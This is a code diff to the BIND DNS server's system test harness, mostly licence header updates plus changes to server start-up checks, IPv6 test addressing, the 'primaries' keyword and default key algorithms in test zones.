+++ b/bin/tests/system/spf/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 n=1
@@ -35,9 +39,9 @@ grep "'warn' found type SPF" ns1/named.run > /dev/null && ret=1
 grep "zone nowarn/IN: loaded serial 0" ns1/named.run > /dev/null || ret=1
 grep "'y.nowarn' found type SPF" ns1/named.run > /dev/null && ret=1
 grep "'nowarn' found type SPF" ns1/named.run > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/spf/tests_sh_spf.py b/bin/tests/system/spf/tests_sh_spf.py
new file mode 100644
index 0000000000..53c623d594
--- /dev/null
+++ b/bin/tests/system/spf/tests_sh_spf.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_spf(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/start.pl b/bin/tests/system/start.pl
index 89807d0cd0..2a2d7809f7 100755
--- a/bin/tests/system/start.pl
+++ b/bin/tests/system/start.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -125,9 +127,10 @@
 # Start the servers we found.
 
 foreach my $name(@ns) {
+	my $instances_so_far = count_running_lines($name);
 	&check_ns_port($name);
 	&start_ns_server($name, $options_arg);
-	&verify_ns_server($name);
+	&verify_ns_server($name, $instances_so_far);
 }
 
 foreach my $name(@ans) {
@@ -202,12 +205,12 @@ sub start_server {
 	my $child = `$command`;
 	chomp($child);
 
-	# wait up to 14 seconds for the server to start and to write the
+	# wait up to 90 seconds for the server to start and to write the
 	# pid file otherwise kill this server and any others that have
 	# already been started
 	my $tries = 0;
 	while (!-s $pid_file) {
-		if (++$tries > 140) {
+		if (++$tries > 900) {
 			print "I:$test:Couldn't start server $command (pid=$child)\n";
 			print "I:$test:failed\n";
 			kill "ABRT", $child if ("$child" ne "");
@@ -267,7 +270,7 @@ sub construct_ns_command {
 	} else {
 		$command .= "-D $test-$server ";
 		$command .= "-X named.lock ";
-		$command .= "-m record,size,mctx ";
+		$command .= "-m record ";
 
 		foreach my $t_option(
 			"dropedns", "ednsformerr", "ednsnotimp", "ednsrefused",
@@ -344,7 +347,7 @@ sub construct_ans_command {
 	if ($restart) {
 		$command .= " >>ans.run 2>&1 &";
 	} else {
-			$command .= " >ans.run 2>&1 &";
+		$command .= " >ans.run 2>&1 &";
 	}
 
 	# get the shell to report the pid of the server ($!)
@@ -371,24 +374,28 @@ sub start_ans_server {
 	start_server($server, $command, $pid_file);
 }
 
-sub verify_ns_server {
+sub count_running_lines {
 	my ( $server ) = @_;
 
-	my $tries = 0;
-
 	my $runfile = "$testdir/$server/named.run";
 
-	while (1) {
-		# the shell *ought* to have created the file immediately, but this
-		# logic allows the creation to be delayed without issues
-		if (open(my $fh, "<", $runfile)) {
-			# the two non-whitespace blobs should be the date and time
-			# but we don't care about them really, only that they are there
-			if (grep /^\S+ \S+ running\R/, <$fh>) {
-				last;
-			}
-		}
+	# the shell *ought* to have created the file immediately, but this
+	# logic allows the creation to be delayed without issues
+	if (open(my $fh, "<", $runfile)) {
+		# the two non-whitespace blobs should be the date and time
+		# but we don't care about them really, only that they are there
+		return scalar(grep /^\S+ \S+ running\R/, <$fh>);
+	} else {
+		return 0;
+	}
+}
+
+sub verify_ns_server {
+	my ( $server, $instances_so_far ) = @_;
 
+	my $tries = 0;
+
+	while (count_running_lines($server) < $instances_so_far + 1) {
 		$tries++;
 
 		if ($tries >= 30) {
@@ -419,8 +426,13 @@ sub verify_ns_server {
 		$tcp = "";
 	}
 
+	my $ip = "10.53.0.$n";
+	if (-e "$testdir/$server/named.ipv6-only") {
+		$ip = "fd92:7065:b8e:ffff::$n";
+	}
+
 	while (1) {
-		my $return = system("$DIG $tcp +noadd +nosea +nostat +noquest +nocomm +nocmd +noedns -p $port version.bind. chaos txt \@10.53.0.$n > /dev/null");
+		my $return = system("$DIG $tcp +noadd +nosea +nostat +noquest +nocomm +nocmd +noedns -p $port version.bind. chaos txt \@$ip > /dev/null");
 
 		last if ($return == 0);
 
diff --git a/bin/tests/system/start.sh.in b/bin/tests/system/start.sh.in
index 676dd94980..0e05845d9d 100644
--- a/bin/tests/system/start.sh.in
+++ b/bin/tests/system/start.sh.in
@@ -2,9 +2,11 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/clean.sh b/bin/tests/system/staticstub/clean.sh
index 32d1fce494..f0dbe280dd 100755
--- a/bin/tests/system/staticstub/clean.sh
+++ b/bin/tests/system/staticstub/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/staticstub/conf/bad01.conf b/bin/tests/system/staticstub/conf/bad01.conf
index 6f9bf55a40..a849de4a1a 100644
--- a/bin/tests/system/staticstub/conf/bad01.conf
+++ b/bin/tests/system/staticstub/conf/bad01.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad02.conf b/bin/tests/system/staticstub/conf/bad02.conf
index dd23d739e9..9c85d00d06 100644
--- a/bin/tests/system/staticstub/conf/bad02.conf
+++ b/bin/tests/system/staticstub/conf/bad02.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad03.conf b/bin/tests/system/staticstub/conf/bad03.conf
index e8e9231237..b5aa0f41ad 100644
--- a/bin/tests/system/staticstub/conf/bad03.conf
+++ b/bin/tests/system/staticstub/conf/bad03.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad04.conf b/bin/tests/system/staticstub/conf/bad04.conf
index 54b5d288fa..ec25b7a454 100644
--- a/bin/tests/system/staticstub/conf/bad04.conf
+++ b/bin/tests/system/staticstub/conf/bad04.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad05.conf b/bin/tests/system/staticstub/conf/bad05.conf
index 7a3ba554ff..e47f4122e9 100644
--- a/bin/tests/system/staticstub/conf/bad05.conf
+++ b/bin/tests/system/staticstub/conf/bad05.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad06.conf b/bin/tests/system/staticstub/conf/bad06.conf
index 8c2ad5829e..be75748dc4 100644
--- a/bin/tests/system/staticstub/conf/bad06.conf
+++ b/bin/tests/system/staticstub/conf/bad06.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad07.conf b/bin/tests/system/staticstub/conf/bad07.conf
index c347102f13..dd1879f7a6 100644
--- a/bin/tests/system/staticstub/conf/bad07.conf
+++ b/bin/tests/system/staticstub/conf/bad07.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad08.conf b/bin/tests/system/staticstub/conf/bad08.conf
index 83f1f27451..c389c9dc2e 100644
--- a/bin/tests/system/staticstub/conf/bad08.conf
+++ b/bin/tests/system/staticstub/conf/bad08.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad09.conf b/bin/tests/system/staticstub/conf/bad09.conf
index 349b252f22..09e92e6c9d 100644
--- a/bin/tests/system/staticstub/conf/bad09.conf
+++ b/bin/tests/system/staticstub/conf/bad09.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,8 +25,8 @@
 # OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
 # PERFORMANCE OF THIS SOFTWARE.
 
-# "masters" isn't allowed for a static-stub zone (unlike a stub zone).
+# "primaries" isn't allowed for a static-stub zone (unlike a stub zone).
 zone "example.com" {
 	type static-stub;
-	masters { 192.0.2.1; };
+	primaries { 192.0.2.1; };
 };
diff --git a/bin/tests/system/staticstub/conf/bad10.conf b/bin/tests/system/staticstub/conf/bad10.conf
index f3ec70845b..b9d28629b1 100644
--- a/bin/tests/system/staticstub/conf/bad10.conf
+++ b/bin/tests/system/staticstub/conf/bad10.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/bad11.conf b/bin/tests/system/staticstub/conf/bad11.conf
index afe78a9bb1..0b97e70839 100644
--- a/bin/tests/system/staticstub/conf/bad11.conf
+++ b/bin/tests/system/staticstub/conf/bad11.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/good01.conf b/bin/tests/system/staticstub/conf/good01.conf
index 8f3558e83e..93f19aff48 100644
--- a/bin/tests/system/staticstub/conf/good01.conf
+++ b/bin/tests/system/staticstub/conf/good01.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/good02.conf b/bin/tests/system/staticstub/conf/good02.conf
index 1bbb5c1171..6a8a413d06 100644
--- a/bin/tests/system/staticstub/conf/good02.conf
+++ b/bin/tests/system/staticstub/conf/good02.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/good03.conf b/bin/tests/system/staticstub/conf/good03.conf
index af6fc8e6e9..faa9ab3dbe 100644
--- a/bin/tests/system/staticstub/conf/good03.conf
+++ b/bin/tests/system/staticstub/conf/good03.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/good04.conf b/bin/tests/system/staticstub/conf/good04.conf
index 02009c52d7..161e4f07f2 100644
--- a/bin/tests/system/staticstub/conf/good04.conf
+++ b/bin/tests/system/staticstub/conf/good04.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/conf/good05.conf b/bin/tests/system/staticstub/conf/good05.conf
index 59054eef04..e1db2fdb17 100644
--- a/bin/tests/system/staticstub/conf/good05.conf
+++ b/bin/tests/system/staticstub/conf/good05.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns1/named.conf.in b/bin/tests/system/staticstub/ns1/named.conf.in
index f80374b5a2..985b93294e 100644
--- a/bin/tests/system/staticstub/ns1/named.conf.in
+++ b/bin/tests/system/staticstub/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns1/root.db b/bin/tests/system/staticstub/ns1/root.db
index 3927582e54..26bc0394c8 100644
--- a/bin/tests/system/staticstub/ns1/root.db
+++ b/bin/tests/system/staticstub/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns2/named.conf.in b/bin/tests/system/staticstub/ns2/named.conf.in
index c3ae03c4d2..55483ab0ec 100644
--- a/bin/tests/system/staticstub/ns2/named.conf.in
+++ b/bin/tests/system/staticstub/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/staticstub/ns3/example.db.in b/bin/tests/system/staticstub/ns3/example.db.in
index 85fc1d848b..c3b7d81da6 100644
--- a/bin/tests/system/staticstub/ns3/example.db.in
+++ b/bin/tests/system/staticstub/ns3/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns3/example.org.db b/bin/tests/system/staticstub/ns3/example.org.db
index becf883a67..aec2f99a8e 100644
--- a/bin/tests/system/staticstub/ns3/example.org.db
+++ b/bin/tests/system/staticstub/ns3/example.org.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns3/named.conf.in b/bin/tests/system/staticstub/ns3/named.conf.in
index 7391896937..e6e49c3708 100644
--- a/bin/tests/system/staticstub/ns3/named.conf.in
+++ b/bin/tests/system/staticstub/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/staticstub/ns3/sign.sh b/bin/tests/system/staticstub/ns3/sign.sh
index a4daaa9446..9d87137383 100755
--- a/bin/tests/system/staticstub/ns3/sign.sh
+++ b/bin/tests/system/staticstub/ns3/sign.sh
@@ -1,9 +1,11 @@
-#!/bin/sh 
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,10 +19,10 @@ zonefile=example.db
 
 (cd ../ns4 && $SHELL -e sign.sh )
 
-cp ../ns4/dsset-sub.example$TP .
+cp ../ns4/dsset-sub.example. .
 
-keyname1=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyname2=`$KEYGEN -q -a RSASHA256 -b 2048 -f KSK -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK -n zone $zone)
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
 $SIGNER -g -o $zone $zonefile > /dev/null
@@ -31,8 +33,8 @@ keyfile_to_static_ds $keyname2 > trusted.conf
 zone=undelegated
 infile=undelegated.db.in
 zonefile=undelegated.db
-keyname1=`$KEYGEN -q -a RSASHA256 -b 1024 -n zone $zone`
-keyname2=`$KEYGEN -q -a RSASHA256 -b 2048 -f KSK -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK -n zone $zone)
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
 $SIGNER -g -o $zone $zonefile > /dev/null
diff --git a/bin/tests/system/staticstub/ns3/undelegated.db.in b/bin/tests/system/staticstub/ns3/undelegated.db.in
index c85337dc41..a7010ef933 100644
--- a/bin/tests/system/staticstub/ns3/undelegated.db.in
+++ b/bin/tests/system/staticstub/ns3/undelegated.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns4/example.com.db b/bin/tests/system/staticstub/ns4/example.com.db
index feda956b0b..3db8fa40c6 100644
--- a/bin/tests/system/staticstub/ns4/example.com.db
+++ b/bin/tests/system/staticstub/ns4/example.com.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns4/example.info.db b/bin/tests/system/staticstub/ns4/example.info.db
index 42a0860c0a..169c70d414 100644
--- a/bin/tests/system/staticstub/ns4/example.info.db
+++ b/bin/tests/system/staticstub/ns4/example.info.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns4/example.org.db b/bin/tests/system/staticstub/ns4/example.org.db
index 13b3a610d2..69dc7e349d 100644
--- a/bin/tests/system/staticstub/ns4/example.org.db
+++ b/bin/tests/system/staticstub/ns4/example.org.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
